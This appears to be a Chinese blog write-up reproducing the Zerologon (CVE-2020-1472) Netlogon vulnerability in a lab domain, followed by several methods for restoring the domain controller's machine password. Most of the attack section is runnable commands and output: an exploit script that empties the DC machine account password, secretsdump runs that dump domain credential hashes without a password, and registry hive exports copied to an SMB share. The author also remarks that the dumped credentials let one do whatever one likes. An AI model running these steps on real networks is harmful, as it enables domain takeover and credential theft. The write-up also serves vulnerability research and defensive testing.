0%

CVE-2020-1472漏洞复现

2020年08月12日, 360CERT监测发现Windows官方 发布了 NetLogon 特权提升漏洞 的风险通告,该漏洞编号为 CVE-2020-1472,漏洞等级:严重,漏洞评分:10分。

攻击者通过NetLogon(MS-NRPC),建立与域控间易受攻击的安全通道时,可利用此漏洞获取域管访问权限。成功利用此漏洞的攻击者可以在该网络中的设备上运行经特殊设计的应用程序。

影响版本

1
2
3
4
5
6
7
8
9
10
11
12
13
Windows Server 2008 R2 for x64-based Systems Service Pack 1
Windows Server 2008 R2 for x64-based Systems Service Pack 1 (Server Core installation)
Windows Server 2012
Windows Server 2012 (Server Core installation)
Windows Server 2012 R2
Windows Server 2012 R2 (Server Core installation)
Windows Server 2016
Windows Server 2016 (Server Core installation)
Windows Server 2019
Windows Server 2019 (Server Core installation)
Windows Server, version 1903 (Server Core installation)
Windows Server, version 1909 (Server Core installation)
Windows Server, version 2004 (Server Core installation)

漏洞功能

通过利用该漏洞,将域控机器用户的密码置空。利用secretsdump无密码来获取凭证。

准备

前置工具下载

exp下载

hash恢复下载

image-20201024195355578

测试环境

  • 域名:abc.com
  • 主机名:DC
  • IP: 192.168.179.2
  • 测试环境:Windows Server 2012 R2

攻击

确保已经安装好了impacket,运行cve-2020-1472-exploit.py置空域控机器用户的hash。

域控机器用户指的是SYSTEM。而不是域控管理员,Administartor。

如果一切正常的话将会输出

1
2
3
4
5
6
7
8
9
$ python3 cve-2020-1472-exploit.py DC 192.168.179.2

Performing authentication attempts...
=================================================================================================================================================================================================================================================================================================================================================================================
Target vulnerable, changing account password to empty string

Result: 0

Exploit complete!

image-20201024201155607

此时域控的机器用户密码已经为空,这意味着我们能利用secretdump.py无密码的获取域控的凭证。

运行以下命令获取凭证。

1
python3 secretsdump.py abc.com/DC\[email protected] -no-pass

image-20201024201718178

此时已经打印出了很多凭证了。其中DC$用户的nthash31d6cfe0d16ae931b73c59d7e0c089c0其实就是空密码,可以看到DC$Guest用户的nthash是一样的。

接着你就可以拿着获取的凭证上去为所欲为了(。。

image-20201024204323019

恢复hash

攻击成功后我们需要恢复域控hash,为什么要恢复呢,因为如果不恢复是会导致域控脱域。

恢复方法有三种:

  1. 注册表导出SAM,提取原来的密码来恢复。
    1. 使用zerologon里的reinstall_original_pw.py
    2. 使用CVE-2020-1472里的restorepassword.py
  2. 从ntds.dict里面读取AD历史密码,然后恢复AD里面的密码
    1. 只需要加 secretsdump里面加-history参数就行(没试过)
  3. 一次性重置计算机的机器帐户密码。(包括AD,注册表,lsass里面的密码)。
    1. 使用powershell 的cmdletReset-ComputerMachinePassword

注册表导出恢复

使用impacket里的smbserver.py打开一个smb共享,(方便传文件。

在域控上依次执行

1
2
3
reg save HKLM\SYSTEM system.save
reg save HKLM\SAM sam.save
reg save HKLM\SECURITY security.save

image-20201024211255673

接着执行

1
cp *.save \\192.168.179.1\tmp\

本机开始执行恢复

1
python3 secretsdump.py -sam /tmp/sam.save -system /tmp/system.save -security /tmp/security.save LOCAL

image-20201024211651198

1
2
3
[*] $MACHINE.ACC
$MACHINE.ACC:plain_password_hex:14cf64c7410c2d8e3e86aba8987d63995667fd1b5c62fc074bfc16d38c70427d197498b670660ff9c4a721d5813ff055a9c5798da83294b736847365928098e79ad1dd7cfb3f8ff3db2221768ab0708a5aa56a0df99d890cd6a80a5001564f79e6c273dbb733b439bbb4c3b9ace469065725ddde5efa7b32b3d1785e216de12bcd68ee33f7a0471273b5479dc527da64e8e71004faaa3ae839b959250578521951997173355ae7e2b2c67d2035d178af2deb0031d5bb1c9d63496a3f02747c0c7614037946e26f145f1cf88a334c18dfc117a7fabacac7a39b4abd0f29e294d2725699d37aa805afcc401902007df19d
$MACHINE.ACC: aad3b435b51404eeaad3b435b51404ee:3e09c843c56dfddfa62ffa004641f712

执行

1
python3 reinstall_original_pw.py DC\$ 192.168.179.2 3e09c843c56dfddfa62ffa004641f712

image-20201024211851163

如果此时再去执行空密码获取凭证的话就会不成功了

image-20201024212036130

restorepassword.py这个恢复脚本我测试恢复不行。可能是本地环境问题吧。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
python3 restorepassword.py abc.com/DC\[email protected] -target-ip 192.168.179.2 -hexpass 14cf64c7410c2d8e3e86aba8987d63995667fd1b5c62fc074bfc16d38c70427d197498b670660ff9c4a721d5813ff055a9c5798da83294b736847365928098e79ad1dd7cfb3f8ff3db2221768ab0708a5aa56a0df99d890cd6a80a5001564f79e6c273dbb733b439bbb4c3b9ace469065725ddde5efa7b32b3d1785e216de12bcd68ee33f7a0471273b5479dc527da64e8e71004faaa3ae839b959250578521951997173355ae7e2b2c67d2035d178af2deb0031d5bb1c9d63496a3f02747c0c7614037946e26f145f1cf88a334c18dfc117a7fabacac7a39b4abd0f29e294d2725699d37aa805afcc401902007df19d 
Impacket v0.9.22.dev1+20201015.130615.81eec85a - Copyright 2020 SecureAuth Corporation

[*] StringBinding ncacn_ip_tcp:192.168.179.2[49158]
Traceback (most recent call last):
File "restorepassword.py", line 150, in <module>
action.dump(remoteName, options.target_ip)
File "restorepassword.py", line 66, in dump
resp = nrpc.hNetrServerAuthenticate3(dce, '\\\\' + remoteName + '\x00', self.__username + '$\x00', nrpc.NETLOGON_SECURE_CHANNEL_TYPE.ServerSecureChannel,remoteName + '\x00',self.ppp, 0x212fffff )
File "/home/kali/.local/lib/python3.7/site-packages/impacket/dcerpc/v5/nrpc.py", line 2707, in hNetrServerAuthenticate3
return dce.request(request)
File "/home/kali/.local/lib/python3.7/site-packages/impacket/dcerpc/v5/rpcrt.py", line 878, in request
raise exception
impacket.dcerpc.v5.nrpc.DCERPCSessionError: NRPC SessionError: code: 0xc000018b - STATUS_NO_TRUST_SAM_ACCOUNT - The SAM database on the Windows Server does not have a computer account for this workstation trust relationship.

读取AD历史恢复

1
python3 exphub/windows/CVE-2020-1472/K8-EXP/secretsdump.py abc.com/DC\[email protected]  -no-pass -history

image-20201024220915294

据说有一定的失败机率。。读取出来后也是使用上面两种办法其中一种恢复。

cmdlet恢复

这是微软在计算机脱域的情况下给出的一种解决方案。这将一次性重置计算机的机器帐户密码。(包括AD,注册表,lsass里面的密码)。

直接执行,即可。

1
powershell Reset-ComputerMachinePassword

image-20201024221458609

执行之后再去执行获取凭证就不行了。

参考文章